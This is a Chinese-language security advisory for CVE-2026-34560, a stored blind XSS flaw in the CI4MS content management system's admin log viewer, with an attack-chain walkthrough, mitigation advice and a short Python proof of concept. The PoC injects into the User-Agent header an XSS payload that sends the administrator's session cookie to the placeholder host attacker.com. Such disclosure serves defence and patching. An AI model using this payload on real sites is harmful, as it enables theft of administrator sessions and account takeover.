IPBUF安全漏洞报告
English
CVE-2026-34560 CVSS 9.1 严重

CVE-2026-34560 CI4MS 存储型盲XSS漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34560
漏洞类型
存储型XSS (Stored XSS)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSSBlind XSSCI4MSCodeIgniterCWE-79

漏洞概述

CI4MS是基于CodeIgniter 4的CMS系统,其在0.31.0.0版本前存在严重的存储型XSS漏洞。攻击者通过向应用程序发送包含恶意脚本的用户输入,可将载荷写入系统日志。由于日志界面未对输出进行编码,当管理员查看日志时,恶意脚本将在其浏览器中执行,导致盲XSS攻击,可能造成敏感信息泄露或会话劫持。

技术细节

该漏洞源于CI4MS在日志处理模块中缺乏严格的输出编码机制。应用程序在记录用户行为(如请求头、参数)时,未对用户可控数据进行过滤,直接存储在日志中。当管理员访问后台日志界面时,后端从存储层读取日志数据并渲染至HTML页面,且未进行HTML实体转义。攻击者利用低权限账户发送带有恶意JavaScript代码的请求(例如在User-Agent中注入脚本),代码被存入日志。一旦管理员查看日志,载荷即在管理员浏览器上下文中执行。利用CVSS向量分析,该漏洞通过网络攻击,无需用户交互,且能影响管理员上下文,危害等级极高。

攻击链分析

STEP 1
1. 载荷注入
攻击者发送包含恶意JavaScript代码的HTTP请求(例如修改User-Agent头或表单参数),目标是将代码写入应用日志。
STEP 2
2. 数据存储
CI4MS应用程序接收请求,将包含恶意代码的数据原样记录并存储在系统日志文件或数据库中。
STEP 3
3. 触发漏洞
管理员登录后台管理系统,并导航至日志查看页面。
STEP 4
4. 代码执行
后端读取日志数据并渲染到前端页面时,未对特殊字符进行HTML实体编码,导致恶意脚本在管理员浏览器中自动执行。
STEP 5
5. 攻击生效
脚本窃取管理员的Session Cookie或其他敏感信息,并发送至攻击者控制的服务器,从而接管管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This PoC demonstrates a Blind XSS attack by injecting a payload into the User-Agent header. # The payload executes when an administrator views the application logs. import requests target_url = "http://vulnerable-ci4ms-site.com/index.php" malicious_payload = "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>" headers = { "User-Agent": malicious_payload } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("Payload sent successfully. Wait for admin to view logs.") except Exception as e: print(f"Error: {e}")

影响范围

CI4MS < 0.31.0.0

防御指南

临时缓解措施
如果无法立即升级,建议限制对后台日志页面的访问权限,仅允许特定IP地址访问,或者暂时禁用Web端的日志查看功能,改为通过服务器命令行查看日志文件以规避XSS风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表